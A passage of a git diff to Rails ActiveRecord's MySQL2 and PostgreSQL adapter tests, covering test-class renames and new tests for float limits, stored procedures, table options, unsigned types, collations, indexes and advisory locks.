execute("ALTER DATABASE #{database_name} DEFAULT CHARACTER SET #{original_charset} COLLATE #{original_collation}") + end + + def connection + @connection ||= ActiveRecord::Base.connection + end + + def execute(sql) + connection.execute(sql) + end end diff --git a/activerecord/test/cases/adapters/mysql2/schema_test.rb b/activerecord/test/cases/adapters/mysql2/schema_test.rb index 47707b7d4f..43957791b1 100644 --- a/activerecord/test/cases/adapters/mysql2/schema_test.rb +++ b/activerecord/test/cases/adapters/mysql2/schema_test.rb @@ -4,7 +4,7 @@ require 'models/comment' module ActiveRecord module ConnectionAdapters - class Mysql2SchemaTest < ActiveRecord::TestCase + class Mysql2SchemaTest < ActiveRecord::Mysql2TestCase fixtures :posts def setup @@ -14,11 +14,43 @@ module ActiveRecord @db_name = db @omgpost = Class.new(ActiveRecord::Base) do + self.inheritance_column = :disabled self.table_name = "#{db}.#{table}" def self.name; 'Post'; end end end + def test_float_limits + @connection.create_table :mysql_doubles do |t| + t.float :float_no_limit + t.float :float_short, limit: 5 + t.float :float_long, limit: 53 + + t.float :float_23, limit: 23 + t.float :float_24, limit: 24 + t.float :float_25, limit: 25 + end + + column_no_limit = @connection.columns(:mysql_doubles).find { |c| c.name == 'float_no_limit' } + column_short = @connection.columns(:mysql_doubles).find { |c| c.name == 'float_short' } + column_long = @connection.columns(:mysql_doubles).find { |c| c.name == 'float_long' } + + column_23 = @connection.columns(:mysql_doubles).find { |c| c.name == 'float_23' } + column_24 = @connection.columns(:mysql_doubles).find { |c| c.name == 'float_24' } + column_25 = @connection.columns(:mysql_doubles).find { |c| c.name == 'float_25' } + + # Mysql floats are precision 0..24, Mysql doubles are precision 25..53 + assert_equal 24, column_no_limit.limit + assert_equal 24, column_short.limit + assert_equal 53, column_long.limit + + assert_equal 24, column_23.limit + assert_equal 24, column_24.limit + assert_equal 53, column_25.limit + ensure + @connection.drop_table "mysql_doubles", if_exists: true + end + def test_schema assert @omgpost.first end @@ -27,21 +59,13 @@ module ActiveRecord assert_equal 'id', @omgpost.primary_key end - def test_table_exists? + def test_data_source_exists? name = @omgpost.table_name - assert @connection.table_exists?(name), "#{name} table should exist" - end - - def test_table_exists_wrong_schema - assert(!@connection.table_exists?("#{@db_name}.zomg"), "table should not exist") + assert @connection.data_source_exists?(name), "#{name} data_source should exist" end - def test_tables_quoting - @connection.tables(nil, "foo-bar", nil) - flunk - rescue => e - # assertion for *quoted* database properly - assert_match(/database 'foo-bar'/, e.inspect) + def test_data_source_exists_wrong_schema + assert(!@connection.data_source_exists?("#{@db_name}.zomg"), "data_source should not exist") end def test_dump_indexes diff --git a/activerecord/test/cases/adapters/mysql2/sp_test.rb b/activerecord/test/cases/adapters/mysql2/sp_test.rb new file mode 100644 index 0000000000..4197ba45f1 --- /dev/null +++ b/activerecord/test/cases/adapters/mysql2/sp_test.rb @@ -0,0 +1,36 @@ +require "cases/helper" +require 'models/topic' +require 'models/reply' + +class Mysql2StoredProcedureTest < ActiveRecord::Mysql2TestCase + fixtures :topics + + def setup + @connection = ActiveRecord::Base.connection + unless ActiveRecord::Base.connection.version >= '5.6.0' + skip("no stored procedure support") + end + end + + # Test that MySQL allows multiple results for stored procedures + # + # In MySQL 5.6, CLIENT_MULTI_RESULTS is enabled by default. + # http://dev.mysql.com/doc/refman/5.6/en/call.html + def test_multi_results + rows = @connection.select_rows('CALL ten();') + assert_equal 10, rows[0][0].to_i, "ten() did not return 10 as expected: #{rows.inspect}" + assert @connection.active?, "Bad connection use by 'Mysql2Adapter.select_rows'" + end + + def test_multi_results_from_select_one + row = @connection.select_one('CALL topics(1);') + assert_equal 'David', row['author_name'] + assert @connection.active?, "Bad connection use by 'Mysql2Adapter.select_one'" + end + + def test_multi_results_from_find_by_sql + topics = Topic.find_by_sql 'CALL topics(3);' + assert_equal 3, topics.size + assert @connection.active?, "Bad connection use by 'Mysql2Adapter.select'" + end +end diff --git a/activerecord/test/cases/adapters/mysql2/sql_types_test.rb b/activerecord/test/cases/adapters/mysql2/sql_types_test.rb index 1ddb1b91c9..4926bc2267 100644 --- a/activerecord/test/cases/adapters/mysql2/sql_types_test.rb +++ b/activerecord/test/cases/adapters/mysql2/sql_types_test.rb @@ -1,10 +1,10 @@ require "cases/helper" -class SqlTypesTest < ActiveRecord::TestCase +class Mysql2SqlTypesTest < ActiveRecord::Mysql2TestCase def test_binary_types assert_equal 'varbinary(64)', type_to_sql(:binary, 64) assert_equal 'varbinary(4095)', type_to_sql(:binary, 4095) - assert_equal 'blob(4096)', type_to_sql(:binary, 4096) + assert_equal 'blob', type_to_sql(:binary, 4096) assert_equal 'blob', type_to_sql(:binary) end diff --git a/activerecord/test/cases/adapters/mysql2/table_options_test.rb b/activerecord/test/cases/adapters/mysql2/table_options_test.rb new file mode 100644 index 0000000000..af121ee7d9 --- /dev/null +++ b/activerecord/test/cases/adapters/mysql2/table_options_test.rb @@ -0,0 +1,42 @@ +require "cases/helper" +require 'support/schema_dumping_helper' + +class Mysql2TableOptionsTest < ActiveRecord::Mysql2TestCase + include SchemaDumpingHelper + + def setup + @connection = ActiveRecord::Base.connection + end + + def teardown + @connection.drop_table "mysql_table_options", if_exists: true + end + + test "table options with ENGINE" do + @connection.create_table "mysql_table_options", force: true, options: "ENGINE=MyISAM" + output = dump_table_schema("mysql_table_options") + options = %r{create_table "mysql_table_options", force: :cascade, options: "(?<options>.*)"}.match(output)[:options] + assert_match %r{ENGINE=MyISAM}, options + end + + test "table options with ROW_FORMAT" do + @connection.create_table "mysql_table_options", force: true, options: "ROW_FORMAT=REDUNDANT" + output = dump_table_schema("mysql_table_options") + options = %r{create_table "mysql_table_options", force: :cascade, options: "(?<options>.*)"}.match(output)[:options] + assert_match %r{ROW_FORMAT=REDUNDANT}, options + end + + test "table options with CHARSET" do + @connection.create_table "mysql_table_options", force: true, options: "CHARSET=utf8mb4" + output = dump_table_schema("mysql_table_options") + options = %r{create_table "mysql_table_options", force: :cascade, options: "(?<options>.*)"}.match(output)[:options] + assert_match %r{CHARSET=utf8mb4}, options + end + + test "table options with COLLATE" do + @connection.create_table "mysql_table_options", force: true, options: "COLLATE=utf8mb4_bin" + output = dump_table_schema("mysql_table_options") + options = %r{create_table "mysql_table_options", force: :cascade, options: "(?<options>.*)"}.match(output)[:options] + assert_match %r{COLLATE=utf8mb4_bin}, options + end +end diff --git a/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb b/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb index e9edc53f93..3df11ce11b 100644 --- a/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb +++ b/activerecord/test/cases/adapters/mysql2/unsigned_type_test.rb @@ -1,6 +1,8 @@ require "cases/helper" +require "support/schema_dumping_helper" -class UnsignedTypeTest < ActiveRecord::TestCase +class Mysql2UnsignedTypeTest < ActiveRecord::Mysql2TestCase + include SchemaDumpingHelper self.use_transactional_tests = false class UnsignedType < ActiveRecord::Base @@ -9,12 +11,15 @@ class UnsignedTypeTest < ActiveRecord::TestCase setup do @connection = ActiveRecord::Base.connection @connection.create_table("unsigned_types", force: true) do |t| - t.column :unsigned_integer, "int unsigned" + t.integer :unsigned_integer, unsigned: true + t.bigint :unsigned_bigint, unsigned: true + t.float :unsigned_float, unsigned: true + t.decimal :unsigned_decimal, unsigned: true, precision: 10, scale: 2 end end teardown do - @connection.drop_table "unsigned_types" + @connection.drop_table "unsigned_types", if_exists: true end test "unsigned int max value is in range" do @@ -23,8 +28,38 @@ class UnsignedTypeTest < ActiveRecord::TestCase end test "minus value is out of range" do - assert_raise(RangeError) do + assert_raise(ActiveModel::RangeError) do UnsignedType.create(unsigned_integer: -10) end + assert_raise(ActiveModel::RangeError) do + UnsignedType.create(unsigned_bigint: -10) + end + assert_raise(ActiveRecord::StatementInvalid) do + UnsignedType.create(unsigned_float: -10.0) + end + assert_raise(ActiveRecord::StatementInvalid) do + UnsignedType.create(unsigned_decimal: -10.0) + end + end + + test "schema definition can use unsigned as the type" do + @connection.change_table("unsigned_types") do |t| + t.unsigned_integer :unsigned_integer_t + t.unsigned_bigint :unsigned_bigint_t + t.unsigned_float :unsigned_float_t + t.unsigned_decimal :unsigned_decimal_t, precision: 10, scale: 2 + end + + @connection.columns("unsigned_types").select { |c| /^unsigned_/ === c.name }.each do |column| + assert column.unsigned? + end + end + + test "schema dump includes unsigned option" do + schema = dump_table_schema "unsigned_types" + assert_match %r{t.integer\s+"unsigned_integer",\s+unsigned: true$}, schema + assert_match %r{t.bigint\s+"unsigned_bigint",\s+unsigned: true$}, schema + assert_match %r{t.float\s+"unsigned_float",\s+limit: 24,\s+unsigned: true$}, schema + assert_match %r{t.decimal\s+"unsigned_decimal",\s+precision: 10,\s+scale: 2,\s+unsigned: true$}, schema end end diff --git a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb index 3808db5141..439e2ce6f7 100644 --- a/activerecord/test/cases/adapters/postgresql/active_schema_test.rb +++ b/activerecord/test/cases/adapters/postgresql/active_schema_test.rb @@ -1,6 +1,6 @@ require 'cases/helper' -class PostgresqlActiveSchemaTest < ActiveRecord::TestCase +class PostgresqlActiveSchemaTest < ActiveRecord::PostgreSQLTestCase def setup ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do def execute(sql, name = nil) sql end @@ -25,10 +25,16 @@ class PostgresqlActiveSchemaTest < ActiveRecord::TestCase def test_add_index # add_index calls index_name_exists? which can't work since execute is stubbed - ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.stubs(:index_name_exists?).returns(false) + ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:define_method, :index_name_exists?) { |*| false } expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" ("last_name") WHERE state = 'active') - assert_equal expected, add_index(:people, :last_name, :unique => true, :where => "state = 'active'") + assert_equal expected, add_index(:people, :last_name, unique: true, where: "state = 'active'") + + expected = %(CREATE UNIQUE INDEX "index_people_on_lower_last_name" ON "people" (lower(last_name))) + assert_equal expected, add_index(:people, 'lower(last_name)', unique: true) + + expected = %(CREATE UNIQUE INDEX "index_people_on_last_name_varchar_pattern_ops" ON "people" (last_name varchar_pattern_ops)) + assert_equal expected, add_index(:people, 'last_name varchar_pattern_ops', unique: true) expected = %(CREATE INDEX CONCURRENTLY "index_people_on_last_name" ON "people" ("last_name")) assert_equal expected, add_index(:people, :last_name, algorithm: :concurrently) @@ -39,16 +45,40 @@ class PostgresqlActiveSchemaTest < ActiveRecord::TestCase expected = %(CREATE INDEX CONCURRENTLY "index_people_on_last_name" ON "people" USING #{type} ("last_name")) assert_equal expected, add_index(:people, :last_name, using: type, algorithm: :concurrently) + + expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" USING #{type} ("last_name") WHERE state = 'active') + assert_equal expected, add_index(:people, :last_name, using: type, unique: true, where: "state = 'active'") + + expected = %(CREATE UNIQUE INDEX "index_people_on_lower_last_name" ON "people" USING #{type} (lower(last_name))) + assert_equal expected, add_index(:people, 'lower(last_name)', using: type, unique: true) end assert_raise ArgumentError do add_index(:people, :last_name, algorithm: :copy) end - expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" USING gist ("last_name")) - assert_equal expected, add_index(:people, :last_name, :unique => true, :using => :gist) - expected = %(CREATE UNIQUE INDEX "index_people_on_last_name" ON "people" USING gist ("last_name") WHERE state = 'active') - assert_equal expected, add_index(:people, :last_name, :unique => true, :where => "state = 'active'", :using => :gist) + ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send :remove_method, :index_name_exists? + end + + def test_remove_index + # remove_index calls index_name_for_remove which can't work since execute is stubbed + ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:define_method, :index_name_for_remove) do |*| + 'index_people_on_last_name' + end + + expected = %(DROP INDEX CONCURRENTLY "index_people_on_last_name") + assert_equal expected, remove_index(:people, name: "index_people_on_last_name", algorithm: :concurrently) + + assert_raise ArgumentError do + add_index(:people, :last_name, algorithm: :copy) + end + + ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send :remove_method, :index_name_for_remove + end + + def test_remove_index_when_name_is_specified + expected = %(DROP INDEX CONCURRENTLY "index_people_on_last_name") + assert_equal expected, remove_index(:people, name: "index_people_on_last_name", algorithm: :concurrently) end private diff --git a/activerecord/test/cases/adapters/postgresql/array_test.rb b/activerecord/test/cases/adapters/postgresql/array_test.rb index 6edbd9c3a6..380a90d765 100644 --- a/activerecord/test/cases/adapters/postgresql/array_test.rb +++ b/activerecord/test/cases/adapters/postgresql/array_test.rb @@ -1,10 +1,9 @@ require "cases/helper" require 'support/schema_dumping_helper' -class PostgresqlArrayTest < ActiveRecord::TestCase +class PostgresqlArrayTest < ActiveRecord::PostgreSQLTestCase include SchemaDumpingHelper include InTimeZone - OID = ActiveRecord::ConnectionAdapters::PostgreSQL::OID class PgArray < ActiveRecord::Base self.table_name = 'pg_arrays' @@ -212,8 +211,9 @@ class PostgresqlArrayTest < ActiveRecord::TestCase def test_quoting_non_standard_delimiters strings = ["hello,", "world;"] - comma_delim = OID::Array.new(ActiveRecord::Type::String.new, ',') - semicolon_delim = OID::Array.new(ActiveRecord::Type::String.new, ';') + oid = ActiveRecord::ConnectionAdapters::PostgreSQL::OID + comma_delim = oid::Array.new(ActiveRecord::Type::String.new, ',') + semicolon_delim = oid::Array.new(ActiveRecord::Type::String.new, ';') assert_equal %({"hello,",world;}), comma_delim.serialize(strings) assert_equal %({hello,;"world;"}), semicolon_delim.serialize(strings) diff --git a/activerecord/test/cases/adapters/postgresql/bit_string_test.rb b/activerecord/test/cases/adapters/postgresql/bit_string_test.rb index 1a5ff4316c..cec6081aec 100644 --- a/activerecord/test/cases/adapters/postgresql/bit_string_test.rb +++ b/activerecord/test/cases/adapters/postgresql/bit_string_test.rb @@ -2,7 +2,7 @@ require "cases/helper" require 'support/connection_helper' require 'support/schema_dumping_helper' -class PostgresqlBitStringTest < ActiveRecord::TestCase +class PostgresqlBitStringTest < ActiveRecord::PostgreSQLTestCase include ConnectionHelper include SchemaDumpingHelper @@ -57,9 +57,11 @@ class PostgresqlBitStringTest < ActiveRecord::TestCase assert_match %r{t\.bit_varying\s+"a_bit_varying",\s+limit: 4,\s+default: "0011"$}, output end - def test_assigning_invalid_hex_string_raises_exception - assert_raises(ActiveRecord::StatementInvalid) { PostgresqlBitString.create! a_bit: "FF" } - assert_raises(ActiveRecord::StatementInvalid) { PostgresqlBitString.create! a_bit_varying: "FF" } + if ActiveRecord::Base.connection.prepared_statements + def test_assigning_invalid_hex_string_raises_exception + assert_raises(ActiveRecord::StatementInvalid) { PostgresqlBitString.create! a_bit: "FF" } + assert_raises(ActiveRecord::StatementInvalid) { PostgresqlBitString.create! a_bit_varying: "F" } + end end def test_roundtrip diff --git a/activerecord/test/cases/adapters/postgresql/bytea_test.rb b/activerecord/test/cases/adapters/postgresql/bytea_test.rb index 16db5ab83d..7adc070430 100644 --- a/activerecord/test/cases/adapters/postgresql/bytea_test.rb +++ b/activerecord/test/cases/adapters/postgresql/bytea_test.rb @@ -1,6 +1,9 @@ require "cases/helper" +require 'support/schema_dumping_helper' + +class PostgresqlByteaTest < ActiveRecord::PostgreSQLTestCase + include SchemaDumpingHelper -class PostgresqlByteaTest < ActiveRecord::TestCase class ByteaDataType < ActiveRecord::Base self.table_name = 'bytea_data_type' end @@ -122,4 +125,10 @@ class PostgresqlByteaTest < ActiveRecord::TestCase obj.reload assert_equal "hello world", obj.serialized end + + def test_schema_dumping + output = dump_table_schema("bytea_data_type") + assert_match %r{t\.binary\s+"payload"$}, output + assert_match %r{t\.binary\s+"serialized"$}, output + end end diff --git a/activerecord/test/cases/adapters/postgresql/change_schema_test.rb b/activerecord/test/cases/adapters/postgresql/change_schema_test.rb index 5a9796887c..bc12df668d 100644 --- a/activerecord/test/cases/adapters/postgresql/change_schema_test.rb +++ b/activerecord/test/cases/adapters/postgresql/change_schema_test.rb @@ -2,7 +2,7 @@ require 'cases/helper' module ActiveRecord class Migration - class PGChangeSchemaTest < ActiveRecord::TestCase + class PGChangeSchemaTest < ActiveRecord::PostgreSQLTestCase attr_reader :connection def setup diff --git a/activerecord/test/cases/adapters/postgresql/cidr_test.rb b/activerecord/test/cases/adapters/postgresql/cidr_test.rb index 6cb11d17b4..52f2a0096c 100644 --- a/activerecord/test/cases/adapters/postgresql/cidr_test.rb +++ b/activerecord/test/cases/adapters/postgresql/cidr_test.rb @@ -3,8 +3,8 @@ require "ipaddr" module ActiveRecord module ConnectionAdapters - class PostgreSQLAdapter - class CidrTest < ActiveRecord::TestCase + class PostgreSQLAdapter < AbstractAdapter + class CidrTest < ActiveRecord::PostgreSQLTestCase test "type casting IPAddr for database" do type = OID::Cidr.new ip = IPAddr.new("255.0.0.0/8") diff --git a/activerecord/test/cases/adapters/postgresql/citext_test.rb b/activerecord/test/cases/adapters/postgresql/citext_test.rb index f706847890..bd62041e79 100644 --- a/activerecord/test/cases/adapters/postgresql/citext_test.rb +++ b/activerecord/test/cases/adapters/postgresql/citext_test.rb @@ -2,7 +2,7 @@ require 'cases/helper' require 'support/schema_dumping_helper' if ActiveRecord::Base.connection.supports_extensions? - class PostgresqlCitextTest < ActiveRecord::TestCase + class PostgresqlCitextTest < ActiveRecord::PostgreSQLTestCase include SchemaDumpingHelper class Citext < ActiveRecord::Base self.table_name = 'citexts' diff --git a/activerecord/test/cases/adapters/postgresql/collation_test.rb b/activerecord/test/cases/adapters/postgresql/collation_test.rb new file mode 100644 index 0000000000..8470329c35 --- /dev/null +++ b/activerecord/test/cases/adapters/postgresql/collation_test.rb @@ -0,0 +1,53 @@ +require "cases/helper" +require 'support/schema_dumping_helper' + +class PostgresqlCollationTest < ActiveRecord::PostgreSQLTestCase + include SchemaDumpingHelper + + def setup + @connection = ActiveRecord::Base.connection + @connection.create_table :postgresql_collations, force: true do |t| + t.string :string_c, collation: 'C' + t.text :text_posix, collation: 'POSIX' + end + end + + def teardown + @connection.drop_table :postgresql_collations, if_exists: true + end + + test "string column with collation" do + column = @connection.columns(:postgresql_collations).find { |c| c.name == 'string_c' } + assert_equal :string, column.type + assert_equal 'C', column.collation + end + + test "text column with collation" do + column = @connection.columns(:postgresql_collations).find { |c| c.name == 'text_posix' } + assert_equal :text, column.type + assert_equal 'POSIX', column.collation + end + + test "add column with collation" do + @connection.add_column :postgresql_collations, :title, :string, collation: 'C' + + column = @connection.columns(:postgresql_collations).find { |c| c.name == 'title' } + assert_equal :string, column.type + assert_equal 'C', column.collation + end + + test "change column with collation" do + @connection.add_column :postgresql_collations, :description, :string + @connection.change_column :postgresql_collations, :description, :text, collation: 'POSIX' + + column = @connection.columns(:postgresql_collations).find { |c| c.name == 'description' } + assert_equal :text, column.type + assert_equal 'POSIX', column.collation + end + + test "schema dump includes collation" do + output = dump_table_schema("postgresql_collations") + assert_match %r{t.string\s+"string_c",\s+collation: "C"$}, output + assert_match %r{t.text\s+"text_posix",\s+collation: "POSIX"$}, output + end +end diff --git a/activerecord/test/cases/adapters/postgresql/composite_test.rb b/activerecord/test/cases/adapters/postgresql/composite_test.rb index 16e3f90a47..1de87e5f01 100644 --- a/activerecord/test/cases/adapters/postgresql/composite_test.rb +++ b/activerecord/test/cases/adapters/postgresql/composite_test.rb @@ -40,7 +40,7 @@ end # "unknown OID 5653508: failed to recognize type of 'address'. It will be treated as String." # To take full advantage of composite types, we suggest you register your own +OID::Type+. # See PostgresqlCompositeWithCustomOIDTest -class PostgresqlCompositeTest < ActiveRecord::TestCase +class PostgresqlCompositeTest < ActiveRecord::PostgreSQLTestCase include PostgresqlCompositeBehavior def test_column @@ -77,7 +77,7 @@ class PostgresqlCompositeTest < ActiveRecord::TestCase end end -class PostgresqlCompositeWithCustomOIDTest < ActiveRecord::TestCase +class PostgresqlCompositeWithCustomOIDTest < ActiveRecord::PostgreSQLTestCase include PostgresqlCompositeBehavior class FullAddressType < ActiveRecord::Type::Value diff --git a/activerecord/test/cases/adapters/postgresql/connection_test.rb b/activerecord/test/cases/adapters/postgresql/connection_test.rb index 55ad76c8c0..f8403bfe1a 100644 --- a/activerecord/test/cases/adapters/postgresql/connection_test.rb +++ b/activerecord/test/cases/adapters/postgresql/connection_test.rb @@ -2,7 +2,7 @@ require "cases/helper" require 'support/connection_helper' module ActiveRecord - class PostgresqlConnectionTest < ActiveRecord::TestCase + class PostgresqlConnectionTest < ActiveRecord::PostgreSQLTestCase include ConnectionHelper class NonExistentTable < ActiveRecord::Base @@ -90,7 +90,7 @@ module ActiveRecord end def test_tables_logs_name - @connection.tables('hello') + ActiveSupport::Deprecation.silence { @connection.tables('hello') } assert_equal 'SCHEMA', @subscriber.logged[0][1] end @@ -100,7 +100,7 @@ module ActiveRecord end def test_table_exists_logs_name - @connection.table_exists?('items') + ActiveSupport::Deprecation.silence { @connection.table_exists?('items') } assert_equal 'SCHEMA', @subscriber.logged[0][1] end @@ -125,14 +125,16 @@ module ActiveRecord assert_equal 'SCHEMA', @subscriber.logged[0][1] end - def test_statement_key_is_logged - bind = Relation::QueryAttribute.new(nil, 1, Type::Value.new) - @connection.exec_query('SELECT $1::integer', 'SQL', [bind]) - name = @subscriber.payloads.last[:statement_name] - assert name - res = @connection.exec_query("EXPLAIN (FORMAT JSON) EXECUTE #{name}(1)") - plan = res.column_types['QUERY PLAN'].deserialize res.rows.first.first - assert_operator plan.length, :>, 0 + if ActiveRecord::Base.connection.prepared_statements + def test_statement_key_is_logged + bind = Relation::QueryAttribute.new(nil, 1, Type::Value.new) + @connection.exec_query('SELECT $1::integer', 'SQL', [bind], prepare: true) + name = @subscriber.payloads.last[:statement_name] + assert name + res = @connection.exec_query("EXPLAIN (FORMAT JSON) EXECUTE #{name}(1)") + plan = res.column_types['QUERY PLAN'].deserialize res.rows.first.first + assert_operator plan.length, :>, 0 + end end # Must have PostgreSQL >= 9.2, or with_manual_interventions set to @@ -209,5 +211,47 @@ module ActiveRecord ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:debug_print_plan => :default}})) end end + + def test_get_and_release_advisory_lock + lock_id = 5295901941911233559 + list_advisory_locks = <<-SQL + SELECT locktype, + (classid::bigint << 32) | objid::bigint AS lock_id + FROM pg_locks + WHERE locktype = 'advisory' + SQL + + got_lock = @connection.get_advisory_lock(lock_id) + assert got_lock, "get_advisory_lock should have returned true but it didn't" + + advisory_lock = @connection.query(list_advisory_locks).find {|l| l[1] == lock_id} + assert advisory_lock, + "expected to find an advisory lock with lock_id #{lock_id} but there wasn't one" + + released_lock = @connection.release_advisory_lock(lock_id) + assert released_lock, "expected release_advisory_lock to return true but it didn't" + + advisory_locks = @connection.query(list_advisory_locks).select {|l| l[1] == lock_id} + assert_empty advisory_locks, + "expected to have released advisory lock with lock_id #{lock_id} but it was still held" + end + + def test_release_non_existent_advisory_lock + fake_lock_id = 2940075057017742022 + with_warning_suppression do + released_non_existent_lock = @connection.release_advisory_lock(fake_lock_id) + assert_equal released_non_existent_lock, false, + 'expected release_advisory_lock to return false when there was no lock to release' + end + end + + protected + + def with_warning_suppression + log_level = @connection.client_min_messages + @connection.client_min_messages = 'error' + yield + @connection.client_min_messages = log_level + end end end diff --git a/activerecord/test/cases/adapters/postgresql/datatype_test.rb b/activerecord/test/cases/adapters/postgresql/datatype_test.rb index 2c14252ae4..232c25cb3b 100644 --- a/activerecord/test/cases/adapters/postgresql/datatype_test.rb +++ b/activerecord/test/cases/adapters/postgresql/datatype_test.rb @@ -11,7 +11,7 @@ end class PostgresqlLtree < ActiveRecord::Base end -class PostgresqlDataTypeTest < ActiveRecord::TestCase +class PostgresqlDataTypeTest < ActiveRecord::PostgreSQLTestCase self.use_transactional_tests = false def setup @@ -69,7 +69,7 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase end end -class PostgresqlInternalDataTypeTest < ActiveRecord::TestCase +class PostgresqlInternalDataTypeTest < ActiveRecord::PostgreSQLTestCase include DdlHelper setup do diff --git a/activerecord/test/cases/adapters/postgresql/domain_test.rb b/activerecord/test/cases/adapters/postgresql/domain_test.rb index 26e064c937..6102ddacd1 100644 --- a/activerecord/test/cases/adapters/postgresql/domain_test.rb +++ b/activerecord/test/cases/adapters/postgresql/domain_test.rb @@ -1,7 +1,7 @@ require "cases/helper" require 'support/connection_helper' -class PostgresqlDomainTest < ActiveRecord::TestCase +class PostgresqlDomainTest < ActiveRecord::PostgreSQLTestCase include ConnectionHelper class PostgresqlDomain < ActiveRecord::Base diff --git a/activerecord/test/cases/adapters/postgresql/enum_test.rb b/activerecord/test/cases/adapters/postgresql/enum_test.rb index ed084483bc..6816a6514b 100644 --- a/activerecord/test/cases/adapters/postgresql/enum_test.rb +++ b/activerecord/test/cases/adapters/postgresql/enum_test.rb @@ -1,7 +1,7 @@ require "cases/helper" require 'support/connection_helper' -class PostgresqlEnumTest < ActiveRecord::TestCase +class PostgresqlEnumTest < ActiveRecord::PostgreSQLTestCase include ConnectionHelper class PostgresqlEnum < ActiveRecord::Base diff --git a/activerecord/test/cases/adapters/postgresql/explain_test.rb b/activerecord/test/cases/adapters/postgresql/explain_test.rb index 6ffb4c9f33..29bf2c15ea 100644 --- a/activerecord/test/cases/adapters/postgresql/explain_test.rb +++ b/activerecord/test/cases/adapters/postgresql/explain_test.rb @@ -2,25 +2,19 @@ require "cases/helper" require 'models/developer' require 'models/computer' -module ActiveRecord - module ConnectionAdapters - class PostgreSQLAdapter - class ExplainTest < ActiveRecord::TestCase - fixtures :developers +class PostgreSQLExplainTest < ActiveRecord::PostgreSQLTestCase + fixtures :developers - def test_explain_for_one_query - explain = Developer.where(:id => 1).explain - assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = $1), explain - assert_match %(QUERY PLAN), explain - end + def test_explain_for_one_query + explain = Developer.where(id: 1).explain + assert_match %r(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = \$?1), explain + assert_match %(QUERY PLAN), explain + end - def test_explain_with_eager_loading - explain = Developer.where(:id => 1).includes(:audit_logs).explain - assert_match %(QUERY PLAN), explain - assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = $1), explain - assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" = 1), explain - end - end - end + def test_explain_with_eager_loading + explain = Developer.where(id: 1).includes(:audit_logs).explain + assert_match %(QUERY PLAN), explain + assert_match %r(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = \$?1), explain + assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" = 1), explain end end diff --git a/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb b/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb index 06d427f464..b56c226763 100644 --- a/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb +++ b/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb @@ -1,15 +1,15 @@ require "cases/helper" -class PostgresqlExtensionMigrationTest < ActiveRecord::TestCase +class PostgresqlExtensionMigrationTest < ActiveRecord::PostgreSQLTestCase self.use_transactional_tests = false - class EnableHstore < ActiveRecord::Migration + class EnableHstore < ActiveRecord::Migration::Current def change enable_extension "hstore" end end - class DisableHstore < ActiveRecord::Migration + class DisableHstore < ActiveRecord::Migration::Current def change disable_extension "hstore" end @@ -24,9 +24,9 @@ class PostgresqlExtensionMigrationTest < ActiveRecord::TestCase return skip("no extension support") end - @old_schema_migration_tabel_name = ActiveRecord::SchemaMigration.table_name - @old_tabel_name_prefix = ActiveRecord::Base.table_name_prefix - @old_tabel_name_suffix = ActiveRecord::Base.table_name_suffix + @old_schema_migration_table_name = ActiveRecord::SchemaMigration.table_name + @old_table_name_prefix = ActiveRecord::Base.table_name_prefix + @old_table_name_suffix = ActiveRecord::Base.table_name_suffix ActiveRecord::Base.table_name_prefix = "p_" ActiveRecord::Base.table_name_suffix = "_s" @@ -36,11 +36,11 @@ class PostgresqlExtensionMigrationTest < ActiveRecord::TestCase end def teardown - ActiveRecord::Base.table_name_prefix = @old_tabel_name_prefix - ActiveRecord::Base.table_name_suffix = @old_tabel_name_suffix + ActiveRecord::Base.table_name_prefix = @old_table_name_prefix + ActiveRecord::Base.table_name_suffix = @old_table_name_suffix ActiveRecord::SchemaMigration.delete_all rescue nil ActiveRecord::Migration.verbose = true - ActiveRecord::SchemaMigration.table_name = @old_schema_migration_tabel_name + ActiveRecord::SchemaMigration.table_name = @old_schema_migration_table_name super end diff --git a/activerecord/test/cases/adapters/postgresql/full_text_test.rb b/activerecord/test/cases/adapters/postgresql/full_text_test.rb index b83063c94e..bde7513339 100644 --- a/activerecord/test/cases/adapters/postgresql/full_text_test.rb +++ b/activerecord/test/cases/adapters/postgresql/full_text_test.rb @@ -1,7 +1,7 @@ require "cases/helper" require 'support/schema_dumping_helper' -class PostgresqlFullTextTest < ActiveRecord::TestCase +class PostgresqlFullTextTest < ActiveRecord::PostgreSQLTestCase include SchemaDumpingHelper class Tsvector < ActiveRecord::Base; end diff --git a/activerecord/test/cases/adapters/postgresql/geometric_test.rb b/activerecord/test/cases/adapters/postgresql/geometric_test.rb index 41e9572907..66f0a70394 100644 --- a/activerecord/test/cases/adapters/postgresql/geometric_test.rb +++ b/activerecord/test/cases/adapters/postgresql/geometric_test.rb @@ -2,11 +2,19 @@ require "cases/helper" require 'support/connection_helper' require 'support/schema_dumping_helper' -class PostgresqlPointTest < ActiveRecord::TestCase +class PostgresqlPointTest < ActiveRecord::PostgreSQLTestCase include ConnectionHelper include SchemaDumpingHelper - class PostgresqlPoint < ActiveRecord::Base; end + class PostgresqlPoint < ActiveRecord::Base + attribute :x, :point + 